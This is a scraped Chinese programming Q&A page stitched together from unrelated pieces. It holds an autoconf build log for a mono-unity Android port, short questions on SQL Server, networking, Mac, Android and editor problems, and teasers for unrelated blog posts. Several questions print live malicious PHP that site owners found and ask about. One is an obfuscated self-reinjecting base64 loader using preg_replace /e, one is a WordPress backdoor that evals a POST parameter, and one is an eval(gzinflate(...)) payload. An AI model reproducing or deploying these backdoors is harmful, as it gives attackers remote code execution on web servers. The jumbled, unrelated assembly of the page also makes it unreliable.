GETTEXT_MACRO_VERSION='' GLIB_CFLAGS='' GLIB_LIBS='' GMODULE_CFLAGS='' GMODULE_LIBS='' GMSGFMT='' GMSGFMT_015='' GREP='' HAVE_BOEHM_GC='' HAVE_MSGFMT='' HAVE_OPROFILE_FALSE='' HAVE_OPROFILE_TRUE='' HAVE_ZLIB_FALSE='' HAVE_ZLIB_TRUE='' HOST_CC='' HPPA_FALSE='' HPPA_TRUE='' IA64_FALSE='' IA64_TRUE='' INCLUDED_LIBGC_FALSE='' INCLUDED_LIBGC_TRUE='' INSTALL_2_0_FALSE='' INSTALL_2_0_TRUE='' INSTALL_2_1_FALSE='' INSTALL_2_1_TRUE='' INSTALL_4_0_FALSE='' INSTALL_4_0_TRUE='' INSTALL_DATA='${INSTALL} -m 644' INSTALL_MONOTOUCH_FALSE='' INSTALL_MONOTOUCH_TRUE='' INSTALL_PROGRAM='${INSTALL}' INSTALL_SCRIPT='${INSTALL}' INSTALL_STRIP_PROGRAM='$(install_sh) -c -s' INSTALL_UNITY_FALSE='' INSTALL_UNITY_TRUE='' INTERP_SUPPORTED_FALSE='' INTERP_SUPPORTED_TRUE='' INTL='' JIT_SUPPORTED_FALSE='' JIT_SUPPORTED_TRUE='' LD='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-ld' LDFLAGS='-Wl,--wrap,sigaction -L/home/jimmy/mono-unity-5.6/../../android_krait_signal_handler/build/obj/local/armeabi -lkrait-signal-handler -Wl,--no-undefined -Wl,--gc-sections -Wl,-rpath-link=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm/usr/lib -ldl -lm -llog -lc ' LIBC='' LIBGC_CFLAGS='' LIBGC_LIBS='' LIBGC_STATIC_LIBS='' LIBOBJS='' LIBS='' LIBTOOL='' LIPO='' LLVM_CFLAGS='' LLVM_CONFIG='' LLVM_CXXFLAGS='' LLVM_LDFLAGS='' LLVM_LIBS='' LN_S='ln -s' LTCOMPILE='' LTCXXCOMPILE='' LTLIBOBJS='' LT_SYS_LIBRARY_PATH='' M68K_FALSE='' M68K_TRUE='' MAINT='#' MAINTAINER_MODE_FALSE='' MAINTAINER_MODE_TRUE='#' MAKEINFO='${SHELL} /home/jimmy/mono-unity-5.6/missing makeinfo' MANIFEST_TOOL='' MIPS_FALSE='' MIPS_GCC_FALSE='' MIPS_GCC_TRUE='' MIPS_SGI_FALSE='' MIPS_SGI_TRUE='' MIPS_TRUE='' MKDIR_P='/bin/mkdir -p' MONO_DEBUGGER_SUPPORTED_FALSE='' MONO_DEBUGGER_SUPPORTED_TRUE='' MONO_DL_NEED_USCORE='' MSGFMT='' MSGFMT_015='' MSGMERGE='' NM='' NMEDIT='' NO_VERSION_SCRIPT_FALSE='' NO_VERSION_SCRIPT_TRUE='' OBJDUMP='' OBJEXT='' OPROFILE_CFLAGS='' OPROFILE_LIBS='' OTOOL64='' OTOOL='' PACKAGE='mono' PACKAGE_BUGREPORT='' PACKAGE_NAME='' PACKAGE_STRING='' PACKAGE_TARNAME='' PACKAGE_URL='' PACKAGE_VERSION='' PATH_SEPARATOR=':' PKG_CONFIG='' PLATFORM_DARWIN_FALSE='' PLATFORM_DARWIN_TRUE='#' PLATFORM_LINUX_FALSE='#' PLATFORM_LINUX_TRUE='' PLATFORM_SIGPOSIX_FALSE='#' PLATFORM_SIGPOSIX_TRUE='' PLATFORM_WIN32_FALSE='' PLATFORM_WIN32_TRUE='#' POWERPC64_FALSE='' POWERPC64_TRUE='' POWERPC_FALSE='' POWERPC_TRUE='' RANLIB='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-ranlib' S390_FALSE='' S390_TRUE='' S390x_FALSE='' S390x_TRUE='' SED='' SET_MAKE='' SHELL='/bin/bash' SPARC64_FALSE='' SPARC64_TRUE='' SPARC_FALSE='' SPARC_TRUE='' SQLITE3='' SQLITE='' STATIC_MONO_FALSE='' STATIC_MONO_TRUE='' STRIP='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-strip' USE_BATCH_FILES_FALSE='' USE_BATCH_FILES_TRUE='' USE_JIT_FALSE='' USE_JIT_TRUE='' USE_NLS='' VERSION='2.6.5' X11='' X86_FALSE='' X86_TRUE='' XATTR_LIB='' XGETTEXT='' XGETTEXT_015='' XGETTEXT_EXTRA_OPTIONS='' XMKMF='' ac_ct_AR='' ac_ct_CC='' ac_ct_CXX='' ac_ct_DUMPBIN='' am__EXEEXT_FALSE='' am__EXEEXT_TRUE='' am__fastdepCCAS_FALSE='' am__fastdepCCAS_TRUE='' am__fastdepCC_FALSE='' am__fastdepCC_TRUE='' am__fastdepCXX_FALSE='' am__fastdepCXX_TRUE='' am__include='' am__isrc='' am__leading_dot='.' am__nodep='' am__quote='' am__tar='tar --format=ustar -chf - "$$tardir"' am__untar='tar -xf -' arch_target='' bindir='${exec_prefix}/bin' build='x86_64-pc-linux-gnu' build_alias='' build_cpu='x86_64' build_os='linux-gnu' build_vendor='pc' datadir='${datarootdir}' datarootdir='${prefix}/share' docdir='${datarootdir}/doc/${PACKAGE}' docs_dir='' dvidir='${docdir}' eglib_dir='' exec_prefix='NONE' export_ldflags='' host='arm-eabi-linux-gnu' host_alias='arm-eabi-linux' host_cpu='arm' host_os='linux-gnu' host_vendor='eabi' htmldir='${docdir}' ikvm_native_dir='' includedir='${prefix}/include' infodir='${datarootdir}/info' install_sh='${SHELL} /home/jimmy/mono-unity-5.6/install-sh' libdir='${exec_prefix}/lib' libexecdir='${exec_prefix}/libexec' libgc_dir='' libgdiplus_loc='' libmono_cflags='-D_REENTRANT' libmono_ldflags='' libsuffix='' localedir='${datarootdir}/locale' localstatedir='${prefix}/var' mandir='${datarootdir}/man' mcs_topdir='' mcs_topdir_from_srcdir='' mkdir_p='$(MKDIR_P)' mono_build_root='' mono_cfg_dir='' mono_runtime='' oldincludedir='/usr/include' pdfdir='${docdir}' prefix='/home/jimmy/mono-unity-5.6/builds/android' program_transform_name='s,x,x,' psdir='${docdir}' reloc_libdir='lib' runstatedir='${localstatedir}/run' sbindir='${exec_prefix}/sbin' sharedstatedir='${prefix}/com' subdirs='' sysconfdir='${prefix}/etc' target='arm-eabi-linux-gnu' target_alias='' target_cpu='arm' target_os='linux-gnu' target_vendor='eabi' ## ----------- ## ## confdefs.h. ## ## ----------- ## /* confdefs.h */ #define PACKAGE_NAME "" #define PACKAGE_TARNAME "" #define PACKAGE_VERSION "" #define PACKAGE_STRING "" #define PACKAGE_BUGREPORT "" #define PACKAGE_URL "" #define PACKAGE "mono" #define VERSION "2.6.5" configure: exit 77

数据库可疑无法备份,无法紧急恢复

![![图片说明](https://img-ask.csdn.net/upload/201603/31/1459398019_821065.png)图片说明](https://img-ask.csdn.net/upload/201603/31/1459398007_801663.png) 点数据库属性时候报错: 标题: Microsoft SQL Server Management Studio ------------------------------ 无法显示请求的对话框。 ------------------------------ 其他信息: 无法显示请求的对话框。 (SqlMgmt) ------------------------------ 执行 Transact-SQL 语句或批处理时发生了异常。 (Microsoft.SqlServer.ConnectionInfo) ------------------------------ 无法打开数据库 'cya_gk'。恢复操作已将该数据库标记为 SUSPECT。有关详细信息,请参阅 SQL Server 错误日志。 (Microsoft SQL Server,错误: 926) 有关帮助信息,请单击: http://go.microsoft.com/fwlink?ProdName=Microsoft+SQL+Server&ProdVer=10.00.1600&EvtSrc=MSSQLServer&EvtID=926&LinkId=20476 ------------------------------ 按钮: 确定 ------------------------------ 按照网络上的教程设置单用户模式、紧急模式,修复报错,提示要从备份修复,却又备份不了

无线上网问题

[b]昨天,打开无线路由器,tp-link340 开始正常上网,大概一小时后,居然断网,看看连接,连接正常,ping 192.168.1.1 ping不通,用ipcnfig 看看,居然还有自动获得的ip。以前也有这样的情况,就是等啦2分钟后,就自动连上啦。。可这回,都10分啦还没连上,我试着打开路由器的配置后台页面,http://192.168.1.1,居然打不开,看看路由正常工作,奇怪,网上邻居的无线连接显示,正常连接,信号很强,奇怪啊。后来把笔记本上的无线开关,关啦,又重新开啦下,居然连上啦。可是上网5分钟,就又成啦以上的情况。每次重新启动无线开关后就可以连上,然后5分后就又连不上啦。真tmd气死我啦。我在连上的时候看看路由配置,里面设置基本正常,没什么奇怪设置啊。我怀疑中毒情况,发现没有可疑进程,用360,和小红帽,杀啦2遍没发现有任何病毒啊。 请教大伙怎么回事。[/b] [b]问题补充:[/b] [b]路由器我也重启过,也是5分后就连不上啦。[/b]

Mac终端 无法进行命令操作,如何修复?求mac、linux大神解答

mac安装Python的virtualenv和virtualenvwrapper的时候, 配置环境变量,不小心把下面命令在mac终端执行 export /Users/angel/Library/Python/2.7/bin/virtualenvwrapper.sh 之后再打开就无法使用任何命令。。。。 打开终端检查器,发现有个可疑目标(红色箭头) ![图片说明](https://img-ask.csdn.net/upload/201812/01/1543657621_178012.png) QQ:121226767 一起探讨 不胜感激

可疑的PHP代码[关闭]

<div class="post-text" itemprop="text"> <p>Do you know what is this php code? It keeps on inserting on php files even if i remove this code in all php files. Thanks</p> <pre><code>&lt;?php /*versio:2.12*/$QOQO=0;$GLOBALS['QOQO'] = '}Y3VybAX2luaXQSONYWxsb3dfdXJsX2ZvcGVuMQEJQ)RcmX3NldG9wdA{tgX2V4ZWM XwY2xvc2UYPGltZyBzcmM9Ig*%=IiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4RSFRUUF9IT1NURBbMTI3LgRFMTAuMTkyLjE2OC4Vdwjqb3Nvbi5pbgZ2Fib3Iuc2UIq?Puc2lsYmVyLmRlaGF2ZWFwb2tlLmNvbS5hdQe@WV8$OgZGlzcGxheV9lcnJvcnMXMtZGV0ZXJtaW5hdG9yM#ZnRwMTMCMi4xMglnSUkxbDFsSUkxSWxsbEk@h~YmFzZTY0X2RlY29kZQYmFzZTY0X2VuY29kZQkNaHR0cDovLw}Mi%SFRUUF9VU0VSX0FHRU5Uk^dW5pb24z$c2VsZWN0@pzUkVRVUVTVF9VUkkVU0NSSVBUX05BTUUkDUVVFUllfU1RSSU5HPwP}nL3RtcC8L3RtcAUVE1QQVEVNUAZa(VE1QRElSdXBsb2FkX3RtcF9kaXILgr%LdmVyc2lvLQ=LXBocAbmGSFRUUF9FWEVDUEhQpEb3V0$Pb2sSt)haHR0cAqkOi8v)L3BnLnBocD91PQfJms9JnQ9cGhwJnA9WJnY9zCQwZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkVreGJERnNiQ2w3SUNSUlQxRlJUMDhnUFNCUlVUQlBUekJQTUNneExDQTJLVHNnSkZGUk1E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FXWWdLRUJwYzE5bWFXeGxLQ1IwYlhBcEtYc2dRR2x1WTJ4MVpHVmZiMjVqWlNna2RHMXdLVHNnZlNCbGJITmxleUFrVVU5Uk1FOVJQVUIxY214bGJtTnZaR1VvSkZGUFVUQlBVU2s3SUhWd1pDZ2tkRzF3TEZGUk1FOVBNRTh3S0RVNE1pd2dOaWt1VVZFd1QwOHdUekFvTlRrd0xDQTBLUzRrU1RFeGJFbEpXekJkTGxGUk1FOVBNRTh3S0RVNU5Td2dNVFFwTGlSUlQxRXdUMUV1VVZFd1QwOHdUekFvTmpFd0xDQTBLUzRrVVRBd01FOVBMbEZSTUU5UE1FOHdLRFl4TkN3Z01USXBMaVJSTUZFd1R6QXVVVkV3VDA4d1R6QW9OakkzTENBMEtTNGtVVEJQVHpBd0tUc2dmU0I5SUgwPSIpKTsRuPcHJlZ19yZXBsYWNl6261736536345f6465636f6465';if (!function_exists('QQ0OO0O0')){function QQ0OO0O0($a, $b){$c=$GLOBALS['QOQO']; $d=pack('H*',substr($c, -26)); return $d(substr($c, $a, $b));}};$IIlllIl11 = QQ0OO0O0(6457, 16);$IIlllIl11("/Il11lllI1/e", QQ0OO0O0(635, 5819), "Il11lllI1");?&gt; </code></pre> </div>

WordPress网站被黑了? 可疑的PHP文件

<div class="post-text" itemprop="text"> <p>I found a suspicious PHP file /wp-includes/mera.php</p> <p>Content:</p> <pre><code>&lt;?php if(isset($_GET['test'])){echo 'success';}else{isset($_POST['vfj39']) &amp;&amp; ($www= $_POST['vfj39']) &amp;&amp; @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}?&gt; </code></pre> <p>Could <code>@preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');</code> possibly do something malicious?</p> </div>

MongoDB记录可疑流量

<div class="post-text" itemprop="text"> <p>I'd like to keep a collection of suspicious traffic that resembles the following schema:</p> <pre><code>"_id": ObjectId(###), "count": NumberInt(6), "ip": NumberInt(2147483647), "requests": { [ "uri": "/path/to/something/", "last": NumberInt(1419023477) "count": NumberInt(2) ], [ "uri": "/path/to/something/else/", "last": NumberInt(1419023478) "count": NumberInt(4) ] } </code></pre> <p>Can somebody help me with a single upsert that will:</p> <ul> <li>add the request URI to the embedded document array</li> <li>increment the number of requests for that URI</li> <li>set the last request date for that URI</li> <li>and finally increment overall request count for that IP</li> </ul> <p>Somebody asked me to post what I've got so far:</p> <pre><code>$db-&gt;coll-&gt;update(array('ip' =&gt; $ip), array('$addToSet' =&gt; array('req' =&gt; array('$set' =&gt; array('last' =&gt; $timestamp), '$inc' =&gt; array('count' =&gt; 1)))), array('upsert' =&gt; true) ); </code></pre> <p>As you can see, it's not yet searching for the embedded doc with the matching uri ($uri)</p> </div>

VS Code在Go语法不正确时添加可疑空格

<div class="post-text" itemprop="text"> <p>For example, this code:</p> <pre><code>package main import "fmt" func main() { foo := "bar"" fmt.Println(foo) } </code></pre> <p>turns into</p> <pre><code>package main import "fmt" func main() { foo: = "bar"" fmt.Println(foo) } </code></pre> <p>on save. Note the assignment and the double double quotes. This erroneous replacement affects the entire file. I believe it started to happen with the last version or the one before.</p> <p>Go options enabled:</p> <pre><code>"go.formatTool": "goreturns" </code></pre> <p>Same thing happens with <code>gofmt</code>.</p> <p>VS Code version 1.25.1, go version go1.10 darwin/amd64.</p> <p>Any ideas why this happens? </p> <p>Thanks!</p> </div>

WordPress上可疑的未知博客帖子

<div class="post-text" itemprop="text"> <p>a few days back I noticed a few things on my WordPress site</p> <ol> <li>One ad in the header and one in the footer</li> <li>Hundreds of new blog posts which I didn't post </li> </ol> <p>Here are the things I did to prevent this from happening anymore</p> <ol> <li>Updated my server password</li> <li>Removed links from header and footer.php</li> <li>I also found a lot of xml files under <strong>sitefiles</strong> folder, I deleted them all. All those files had content from the same brand.</li> </ol> <p>A few more things to notice:</p> <ul> <li>As I came back after doing the above steps I found two more posts posted a few minutes ago which I didn't post.</li> <li>Also, after changing my server password yesterday, I got an email today that someone is trying to access my server and is blocked by the service. </li> <li>My website.com/index.php also had a link inside </li> <li>My wp-includes/wp-db.php had the code below <code>/** WordPress DB Class Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)} @package WordPress @subpackage Database @since 0.71 */</code></li> </ul> <p>I have one more WordPress website on this server which is affected in the same way. The other is also having unknown posts <strong>having no users mentioned in author tab</strong>.</p> <p>Please, let me know what can be the possible reason/reason and how can I protect my blog and server. My server is <strong>namecheap</strong>.</p> <p>Thanks!</p> </div>

frame里面加textfield在鼠标点击它的位置后才显示出来

比如这个代码,运行时只能弹出一个空得frame,只有点击了textfield得位置,它才显示出来,我是在mac下编的,且有用windowbuilder,再自己修改 public KeyFrame() { setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); setVisible(true); tf = new JTextField(); tf.addKeyListener(new KeyMonitor()); tf.setBounds(81, 75, 294, 133); contentPane.add(tf); tf.setColumns(10); }

我的网站上传了可疑代码

<div class="post-text" itemprop="text"> <p>Could someone explain me what is the effect of this snippet : </p> <p>eval(gzinflate(str_rot13(base64_decode('DdHJZaJAAADQX8ktQWQAISzWWSVyUAdOAU6WhliKpUwEpExx8esn7xfe1+e/L0WSNzzHza5rSI+8iSe8G6fhdOimPbdY4hELHz8ZQbsM794x0ZOwNxaooVyjPDqIt16eNJbkEyo0fMZegybPsQ+FSvKaE4xNv6Za7cURokS3tgFbjtIzVaJECOXQcc/HRO9oVHY9iTSnq58/F+HUuSBxTiWIVrAZ6ZW9kYle2YPOTrxXE2KGRSDzmsC113CcKRnd3asSrIEwz2gh8uz3zJTKvHFXy5YPz1Uti1xshTfomvsGFyUW6ray21bNtpgwI6UmdkJV4Wk314QUgjH32JAkfbBhuvp3kcD+oiOz7MetE3w/litBrktQNC5nZOpGyYrmV6kKVgZa02bImL6Zy4JRYKbqgM0xIS6X+Iy74fai3gvJgc9ItPKKC3wESZWwTWcEfGealUXmof1P+svlFWIU7hENqMO6YlDopKeX3kSGFVSSZufsjBq3CeH8RVlAB51qzzJLZMemFnabbHkAzgFoU/B2XAXsnqPgJjIheHq8REYvu+L3FpcNIh0FglectVd7SV8iIThgOtI22K5sfCqf9LwdyRi86hDaM2MPzHzLdToOPdO6664iqwHH9LL9XDD8evrYDv6DiDdLlHwGsuuDTdYhzYaBXSqRySX4/ufX37evz/8=')))); </p> </div>

创建插件来检测可疑的ajax

<div class="post-text" itemprop="text"> <p>I want to make browser extension for Firefox that detect the ajax code of of website that load the hidden page and redirect to new page ,like if user visit index.php where ajax load the two pages one is hiddenpage.php and redirect to new.php . Is there any other solution to detect this ajax at client side. </p> <pre><code>if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { //document.getElementById("myDiv").innerHTML=""; } } xmlhttp.open("GET","hidden.php",true); xmlhttp.send(); } </code></pre> <p>HTML</p> <pre><code>&lt;a href="new.php" onclick="function();"&gt;click here&lt;/a&gt; </code></pre> </div>

使用SharedPreferences读取edittext值得时候出现一点小问题求解决

public void WriteUserEditInfo() { SharedPreferences userdetect = context.getSharedPreferences("hotspots_info", 0); SharedPreferences.Editor editor = userdetect.edit(); editor.putString("name", edt_hotspots_name.getText().toString()); editor.putString("password", edt_hotspots_password.getText().toString()); editor.commit(); } ``` ``` 这是我的函数 在两个item中各有一个不一样的edittext另一个分别设置成viewgone 然后读取的时候也是正常读取的 然后我发现了一个问题 switch (position) { case 0: viewHolder.edt_hotspots_name.setText(name); viewHolder.edt_input_1.setVisibility(View.GONE); viewHolder.edt_input_2.setVisibility(View.GONE); viewHolder.edt_input_3.setVisibility(View.GONE); viewHolder.edt_input_4.setVisibility(View.GONE); viewHolder.edt_hotspots_password.setVisibility(View.GONE); viewHolder.edt_hotspots_name.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { } @Override public void afterTextChanged(Editable s) { viewHolder.WriteUserEditInfo(); } }); break; case 1: break; case 2: textView.setText(JukeSkin.getInstance().getStringResource("network_mode")); viewHolder.edt_hotspots_password.setVisibility(View.GONE); viewHolder.edt_hotspots_name.setVisibility(View.GONE); break; case 3: viewHolder.edt_hotspots_password.setText(password); viewHolder.edt_hotspots_password.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { } @Override public void afterTextChanged(Editable s) { viewHolder.WriteUserEditInfo_password(); } }); break; case 4: break; } 如果我只写一个函数WriteUserEditInfo SharedPreferences userdetect = context.getSharedPreferences("hotspots_info", 0); SharedPreferences.Editor editor = userdetect.edit(); editor.putString("name", edt_hotspots_name.getText().toString()); editor.putString("password", edt_hotspots_password.getText().toString()); editor.putString("edt_input1", edt_input_1.getText().toString()); editor.putString("edt_input2", edt_input_2.getText().toString()); editor.putString("edt_input3", edt_input_2.getText().toString()); editor.putString("edt_input4", edt_input_4.getText().toString()); editor.commit(); 然后edittext public void afterTextChanged(Editable s)的时候调用只会保存最后一次输入的那个edittext的信息 其他的并不会被保存 然后我就写了两个函数分别从两个XML文件中读取数据,但是edittext多的时候实在很不方便。。所以想请教一下这里要怎么解决?之前写在activity里面是可疑的,不知道哪里出了一点问题。。

请问我在运行这一段opencv程序时为什么会出现这样的问题

![图片说明](https://img-ask.csdn.net/upload/201604/23/1461393676_735406.png) ![图片说明](https://img-ask.csdn.net/upload/201604/23/1461393769_269588.png) ![图片说明](https://img-ask.csdn.net/upload/201604/23/1461393698_725600.png) 我用的是win7 opencv3.0 vs2012

CURL请求不完整,可疑超时但不确定

<div class="post-text" itemprop="text"> <p>I am currently using CURL via a php script running as daily cron to export product data in csv format from a site's admin area. </p> <p>The normal way of exporting data will be to go to the Export page in a browser, and set the configuration, then click on "export data" button. But as the number of products I am exporting is very large, and it takes more than 5-10 mins to export the data, I've decided to use php's curl function to mimic this on a daily basis via cron.</p> <p>Previously, it is working fine, but recently as I increased the number of products in the store by 500+, the script fails to return the exported data. Testing it manually via clicking on the "export" button in a browser, does return the data correctly. Thus there is no "timeout" issue with running the export in a browser manually.</p> <p>I've tested and by removing/decreasing the number of products (thus the time needed), the php-curl script works fine again when run from cron.</p> <p>So I suspect that it has something to do with timeouts issue, specifically with the curl function in php.</p> <p>I've set both CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT to '0' respectively to try. In the php-curl script, I've also set "set_time_limit(3000)". But still it does not work, and the request will timeout, with the script failing to return with a complete set of csv data. </p> <p>Any help in helping me resolve/understand this issue will be much appreciated! </p> <p>Edited: Added part of the code where the curl script is calling the export function.</p> <pre><code>$interface = new StoreInterface(); echo "Start exporting at " . date('l jS \of F Y h:i:s A') . " "; set_time_limit(3000); $result_html = $interface-&gt;exportProducts(); //parse $result_html to only retain the csv format preg_match('/&lt;pre&gt;(.*)&lt;\/pre&gt;/s',$result_html[0],$output); if(strlen($output[1])&lt;10) { //debugging for now echo "Export did not happen correctly. Quit "; die('Export unsuccessful'); } file_put_contents($output_path,$output[1]); echo "Script completed. Thank you! "; </code></pre> </div>

我的网站被黑了 http没有响应有大神能来看下吗?

我的网站被黑了 我把可疑文件删了 现在网站还是打不开 想apt-get安装杀毒软件显示connection timeout。 好像是http出问题了 有大神知道怎么处理吗?或者有什么排错方法。

大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了

大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

Java基础知识面试题(2020最新版)

文章目录Java概述何为编程什么是Javajdk1.5之后的三大版本JVM、JRE和JDK的关系什么是跨平台性?原理是什么Java语言有哪些特点什么是字节码?采用字节码的最大好处是什么什么是Java程序的主类?应用程序和小程序的主类有何不同?Java应用程序与小程序之间有那些差别?Java和C++的区别Oracle JDK 和 OpenJDK 的对比基础语法数据类型Java有哪些数据类型switc...

我以为我学懂了数据结构,直到看了这个导图才发现,我错了

数据结构与算法思维导图

String s = new String(" a ") 到底产生几个对象?

老生常谈的一个梗,到2020了还在争论,你们一天天的,哎哎哎,我不是针对你一个,我是说在座的各位都是人才! 上图红色的这3个箭头,对于通过new产生一个字符串(”宜春”)时,会先去常量池中查找是否已经有了”宜春”对象,如果没有则在常量池中创建一个此字符串对象,然后堆中再创建一个常量池中此”宜春”对象的拷贝对象。 也就是说准确答案是产生了一个或两个对象,如果常量池中原来没有 ”宜春” ,就是两个。...

技术大佬:我去,你写的 switch 语句也太老土了吧

昨天早上通过远程的方式 review 了两名新来同事的代码,大部分代码都写得很漂亮,严谨的同时注释也很到位,这令我非常满意。但当我看到他们当中有一个人写的 switch 语句时,还是忍不住破口大骂:“我擦,小王,你丫写的 switch 语句也太老土了吧!” 来看看小王写的代码吧,看完不要骂我装逼啊。 private static String createPlayer(PlayerTypes p...

Linux面试题(2020最新版)

文章目录Linux 概述什么是LinuxUnix和Linux有什么区别?什么是 Linux 内核?Linux的基本组件是什么?Linux 的体系结构BASH和DOS之间的基本区别是什么?Linux 开机启动过程?Linux系统缺省的运行级别?Linux 使用的进程间通信方式?Linux 有哪些系统日志文件?Linux系统安装多个桌面环境有帮助吗?什么是交换空间?什么是root帐户什么是LILO?什...

Linux命令学习神器!命令看不懂直接给你解释!

大家都知道,Linux 系统有非常多的命令,而且每个命令又有非常多的用法,想要全部记住所有命令的所有用法,恐怕是一件不可能完成的任务。 一般情况下,我们学习一个命令时,要么直接百度去搜索它的用法,要么就直接用 man 命令去查看守冗长的帮助手册。这两个都可以实现我们的目标,但有没有更简便的方式呢? 答案是必须有的!今天给大家推荐一款有趣而实用学习神器 — kmdr,让你解锁 Linux 学习新姿势...

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

史上最全的 python 基础知识汇总篇,没有比这再全面的了,建议收藏

网友们有福了,小编终于把基础篇的内容全部涉略了一遍,这是一篇关于基础知识的汇总的文章,请朋友们收下,不用客气,不过文章篇幅肯能会有点长,耐心阅读吧爬虫(七十)多进程multiproces...

讲一个程序员如何副业月赚三万的真实故事

loonggg读完需要3分钟速读仅需 1 分钟大家好,我是你们的校长。我之前讲过,这年头,只要肯动脑,肯行动,程序员凭借自己的技术,赚钱的方式还是有很多种的。仅仅靠在公司出卖自己的劳动时...

女程序员,为什么比男程序员少???

昨天看到一档综艺节目,讨论了两个话题:(1)中国学生的数学成绩,平均下来看,会比国外好?为什么?(2)男生的数学成绩,平均下来看,会比女生好?为什么?同时,我又联想到了一个技术圈经常讨...

85后蒋凡:28岁实现财务自由、34岁成为阿里万亿电商帝国双掌门,他的人生底层逻辑是什么?...

蒋凡是何许人也? 2017年12月27日,在入职4年时间里,蒋凡开挂般坐上了淘宝总裁位置。 为此,时任阿里CEO张勇在任命书中力赞: 蒋凡加入阿里,始终保持创业者的冲劲,有敏锐的...

总结了 150 余个神奇网站,你不来瞅瞅吗?

原博客再更新,可能就没了,之后将持续更新本篇博客。

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

MySQL数据库面试题(2020最新版)

文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...

新一代神器STM32CubeMonitor介绍、下载、安装和使用教程

关注、星标公众号,不错过精彩内容作者:黄工公众号:strongerHuang最近ST官网悄悄新上线了一款比较强大的工具:STM32CubeMonitor V1.0.0。经过我研究和使用之...

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

大学一路走来,学习互联网全靠这几个网站,最终拿下了一把offer

大佬原来都是这样炼成的

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

为什么你不想学习?只想玩?人是如何一步一步废掉的

